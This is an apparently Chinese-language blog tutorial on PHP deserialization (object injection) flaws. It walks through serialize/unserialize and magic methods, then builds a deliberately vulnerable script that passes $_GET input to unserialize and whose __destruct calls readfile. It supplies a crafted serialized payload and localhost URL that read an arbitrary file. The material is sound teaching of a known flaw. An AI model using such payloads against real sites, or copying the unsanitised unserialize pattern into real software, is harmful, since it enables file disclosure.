1. 程式人生 > >PHP反序列化漏洞學習

PHP反序列化漏洞學習

exc tof target fun 反序 ring 內容 style 字符串

serialize:序列化

unserialize: 反序列化

簡單解釋:

serialize 把一個對象轉成字符串形式, 可以用於保存

unserialize 把serialize序列化後的字符串變成一個對象

我們來看一個實例:

<?php
 class F{
    public $filename=‘a.txt‘;
}

$a = new F();
echo $a->filename.‘<br />‘;
echo serialize($a);

上面例子是創建一個類, 並輸出 filename的值 , 最後輸出序列化字符串:

技術分享

關於這一串:

O:1:"F":1:{s:8:"filename";s:5:"a.txt";}

簡單解釋:

O: 對像, 1 對象名長度, 就是這裏的 ‘F‘

s: 字符串

8: 字符串長度, 後面的filename為字符串定義時的名字

詳細解釋可以百度找資料看, 因為這個不是本文重點。

這裏你可以看到, 我代碼裏的類定義為: class F, 這個序列化就是 F, 我定義變量名字是filename, 它這裏也是 filename, 我們可以修改看看:

技術分享

可以看到序列化後的變量名字變成 filenameF 了。

看下面代碼:

<?php
 class F{
    public $filenameF=‘bcda.txt‘;
}

$a = new F();
echo
$a->filenameF.‘<br />‘; echo serialize($a);

技術分享

這是另一個代碼:

<?php
 class F{
    public $filename=‘a.txt‘;
}

$a = new F();
echo $a->filename.‘<br />‘;
echo serialize($a);

技術分享

這兩個代碼定義的類一樣, 只是屬性不一樣。

當我們用如下代碼反序列時:

<?php
 class F{
    public $filename=‘a.txt‘;
    function
__destruct(){ echo ‘--------------><br />‘; } } $a = new F(); echo $a->filename.‘<br />‘; echo serialize($a); $b = unserialize(‘O:1:"F":1:{s:9:"filenameF";s:8:"bcda.txt";}‘); echo ‘<br />‘.$b->filename; echo ‘<br />‘.$b->filenameF;

技術分享

可以看到析構函數輸出了兩次, 說明這兩個應是同一個類, 只是 $b 多出了一個屬性 filenameF, filename可直常輸出, filenameF也可正常輸出。

在PHP中, 類被創建或消失後, 都會自動的執行某些函數, 如:

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload()

或自動執行某些方法, 如:

Exception::__toString
ErrorException::__toString
DateTime::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionExtension::__toString
LogicException::__toString
BadFunctionCallException::__toString
BadMethodCallException::__toString
DomainException::__toString
InvalidArgumentException::__toString
LengthException::__toString
OutOfRangeException::__toString
RuntimeException::__toString

我們就可以利用這種自動執行某些函數或方法的特性,執行我們相要的操作。

我們創建如下代碼:

<?php
 class F{
    public $filename=‘d:\\phpstudy\\www\\a.txt‘;
    #$filename為public
    function __destruct(){
        $data = readfile($this->filename);
        echo $data;
    }
}

$a = new F();
echo $a->filename.‘<br />‘;

運行時如下所示:

技術分享

因為 __sestruct 析構函數在一個類對象消失時, 會自動執行。 所以上面的代碼當運行結束時, 類對象 $a 消失後, 代碼會自動執行 __destruct() 函數。

假如我們創建一個如下的測試代碼:

<?php
 class F{
    public $filename=‘d:\\phpstudy\\www\\a.txt‘;
    #$filename為public
    function __destruct(){
        $data = readfile($this->filename);
        echo $data.‘<br />‘;
    }
}

$a = new F();
echo $a->filename.‘<br />‘;
$b = unserialize($_GET[a]);

這代碼中我們用unserialize反序列一個字符串變成一個類對象, 也就是說這個代碼中, 會有兩個類對象, 一個是$a, 一個是用戶可控的$b ($b 中的filename可控, 因為class F中的 filename為public)。

當代碼運行結束時, 會運行兩個析構函數。 第一次運行的析構函數中, filename為$a中默認的 ‘d:\\phpstudy\\www\\a.txt‘, 第二個因為是從$_GET[a]獲得字符串, 所以我們可以控制第二個對象中的filename。

從而使得 __destruct 函數可以讀取到我們想要讀的文件。

下面這個代碼中的類跟上面代碼的類一樣, 不同的地方是我們修改了filename的值, 並生成序列化字符串:

<?php
 class F{
    public $filename=‘a.txt‘;
}

$a = new F();
$a->filename = ‘d:\\phpstudy\\www\\2.txt‘;
echo serialize($a);

生成的序列化字符串為:

O:1:"F":1:{s:8:"filename";s:21:"d:\phpstudy\www\2.txt";}

再創建一個 2.txt 文件用於測試, 內容為:

password

現在,我們已改變了原來的 filename值,並生成了序列化字符串, 再把它發送到測試代碼中去:

http://localhost/11.php?a=O:1:%22F%22:1:{s:8:%22filename%22;s:21:%22d:\phpstudy\www\2.txt%22;}

測試代碼除了有對象 $a 外, 還反序列化創建了一個對象 $b, 而這個$b中的屬性filename被我們修改了。

最後運行兩次 __destruct析構函數時, 一次讀取了 a.txt, 另一次讀取了 2.txt。

技術分享

最後總結一下:

<?php
include "xxx.php";#此文件中有類定義, 有魔術函數或方法, 且輸入參數能被控制
class Classname{
    #存在有害魔術函數或方法,且輸入參數能被控制
}


do something...
do something...
do something...

#存在反序列化函數
unserialize(‘用戶輸入有害參數未過濾‘)
do something...
do something...
do something...

參考:

http://blog.csdn.net/qq_32400847/article/details/53873275

http://www.freebuf.com/vuls/80293.html

PHP反序列化漏洞學習